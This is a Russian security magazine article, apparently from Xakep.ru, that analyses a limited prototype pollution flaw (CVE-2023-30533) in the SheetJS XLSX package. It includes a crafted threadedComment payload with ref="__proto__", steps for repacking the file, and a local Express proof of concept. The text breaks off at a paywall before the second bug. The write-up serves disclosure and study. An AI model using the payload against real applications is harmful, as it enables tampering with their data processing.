Па­кет XLSX, выпущен­ный ком­пани­ей SheetJS, широко исполь­зует­ся раз­работ­чиками для вза­имо­дей­ствия с элек­трон­ными таб­лицами в фор­матах XLSX и XLSM, в том чис­ле при­меня­ется в кор­поратив­ных про­дук­тах. Ана­лизи­руя пакет, мы наш­ли нес­коль­ко уяз­вимос­тей. В этой статье я покажу, как они воз­никли и как их может экс­плу­ати­ровать зло­умыш­ленник.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Да­вай вкрат­це пос­мотрим, как работа­ет SheetJS. Ког­да файл элек­трон­ной таб­лицы XLSX переда­ется фун­кции XLSX.readFile, про­исхо­дит сле­дующее:

  • Фун­кция про­веря­ет тип фай­ла, ана­лизи­руя пер­вые бай­ты заголов­ка. Если тип фай­ла рас­познан как ZIP-архив, про­цесс про­дол­жает­ся.
  • Файл архи­ва рас­паковы­вает­ся в память про­цес­са, что поз­воля­ет работать непос­редс­твен­но с XML-фай­лами, опи­сыва­ющи­ми струк­туру и дан­ные элек­трон­ной таб­лицы, а так­же с дру­гими ресур­сами, вклю­чая изоб­ражения и шриф­ты.
  • Пар­сер, встро­енный в биб­лиоте­ку, начина­ет раз­бор XML-тегов. Он ана­лизи­рует струк­туру фай­ла и извле­кает необ­ходимые дан­ные, такие как зна­чения яче­ек, фор­матиро­вание и дру­гие свой­ства таб­лицы.
  • По­лучен­ные дан­ные обыч­но пред­став­ляют­ся в виде удоб­ных струк­тур, таких как мас­сивы или объ­екты, что­бы их мож­но было лег­ко исполь­зовать в при­ложе­нии.
 

Limited Prototype Pollution

 

Описание недостатка

Уяз­вимость, свя­зан­ная с огра­ничен­ным заг­рязне­нием про­тоти­па (Limited Prototype Pollution), воз­ника­ет при обра­бот­ке ком­мента­риев внут­ри заг­ружен­ного докумен­та в фун­кции cmntcommon. В ней прис­ваивает­ся зна­чение объ­екта по клю­чу, который может кон­тро­лиро­вать­ся поль­зовате­лем.

else sheet[comment.ref] = cell;

Для даль­нейше­го ана­лиза важ­но понимать, что такое comment.ref. Это зна­чение попада­ет в код из фай­ла threadedCommentXXX.xml (где XXX — номер докумен­та с ком­мента­риями). При­мер:

<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">

Обыч­но, ког­да файл соз­дает­ся в редак­торе элек­трон­ных таб­лиц, это не вызыва­ет проб­лем, так как адре­са яче­ек редак­тор сге­нери­рует авто­мати­чес­ки и это будут допус­тимые зна­чения.

Од­нако раз­работ­чики пакета XLSX не учли, что зло­умыш­ленник может вруч­ную соз­дать файл XLSX с про­изволь­ным содер­жимым и спе­циаль­но сфор­мировать адре­са яче­ек.

7z x normal.xlsx
; Вносим изменение в желаемые файлы
7z a NotNormal.zip ./\[Content_Types\].xml _rels/ docProps/ xl
mv NotNormal.zip NotNormal.xlsx

Для успешной экс­плу­ата­ции заг­рузим обыч­ный файл, но с таким threadedComment:

<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">

В таком слу­чае зна­чение comments.ref будет рав­но __proto__, а cell будет содер­жать Object prototype.

Да­лее в коде фун­кции находим обра­щение к cell:

if (!cell.c) cell.c = [];

Так как перемен­ная содер­жит prototype, то мас­сив запишет­ся в свой­ство c про­тоти­па объ­екта. Это при­ведет к тому, что при даль­нейших про­вер­ках все ком­мента­рии будут записы­вать­ся в один мас­сив, так как зна­чение cell.c будет всег­да опре­деле­но. Раз­работ­чикам сле­дова­ло исполь­зовать такую конс­трук­цию:

if (!cell.hasOwnProperty("c")) cell.c = [];

Да­вай наб­роса­ем доказа­тель­ство кон­цепции:

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
// Middleware для обработки файлов
app.use(fileUpload());
// Получение POST-запроса c обработкой загруженного файла
app.post('/process', function(req, res) {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('Не найдены загруженные файлы.');
}
// Получение загруженного файла
const uploadedFile = req.files.file;
let a = XLSX.read(uploadedFile.data);
/*
Далее может следовать любая обработка файла и т. д.
*/
res.send('Файл успешно обработан.');
});
// Обработка GET-запроса c выдачей простого документа
app.get('/getSample', function(req, res) {
var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123]]);
var wb = XLSX.utils.book_new();
XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');
const xlsxData = XLSX.write(wb, { type: 'buffer' });
// Возврат обработанного файла
res.set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
res.set('Content-Disposition', 'attachment; filename="processed_file.xlsx"');
res.send(xlsxData);
});
// Запуск сервера
app.listen(3000, function() {
console.log('Сервер запущен на порте 3000');
});

Этот скрипт при­нима­ет файл для обра­бот­ки на эндпо­инте /process, а при зап­росе /getSample воз­вра­щает при­мер обыч­ного фай­ла XLSX (который не содер­жит ком­мента­риев).

Сде­лаем нес­коль­ко зап­росов на сер­вер. Сна­чала обра­тим­ся к /getSample и откро­ем файл, что­бы прос­мотреть его содер­жимое:

$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 22023 100 22023 0 0 1312k 0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx

Содержимое открытого файла
Со­дер­жимое откры­того фай­ла

А теперь выпол­ним серию зап­росов с нашим спе­циаль­ным фай­лом:

$ curl -X POST --form file=@
/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process

Файл успешно обра­ботан.⏎
$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--100 22023 100 22023 0 0 1312k 0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx

Текущее содержимое файла
Те­кущее содер­жимое фай­ла
 

Реакция разработчиков

В вер­сии 0.19.3 пакета XLSX раз­работ­чики пос­тарались устра­нить этот баг. Они добави­ли такую про­вер­ку:

var r = decode_cell(comment.ref);
if(r.r < 0 || r.c < 0) return;

Те­перь, если comment.ref содер­жит невалид­ное наз­вание ячей­ки таб­лицы, выпол­нение фун­кции прер­вется.

Ба­гу выдан иден­тифика­цион­ный номер CVE-2023-30533.

 

Модификация файлов person и threadedComment

 

Описание недостатка

Мы про­дол­жили изу­чать фун­кции, свя­зан­ные с ком­мента­риями, и обна­ружи­ли воз­можность модифи­циро­вать фай­лы person и threadedComment внут­ри ZIP-архи­ва.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии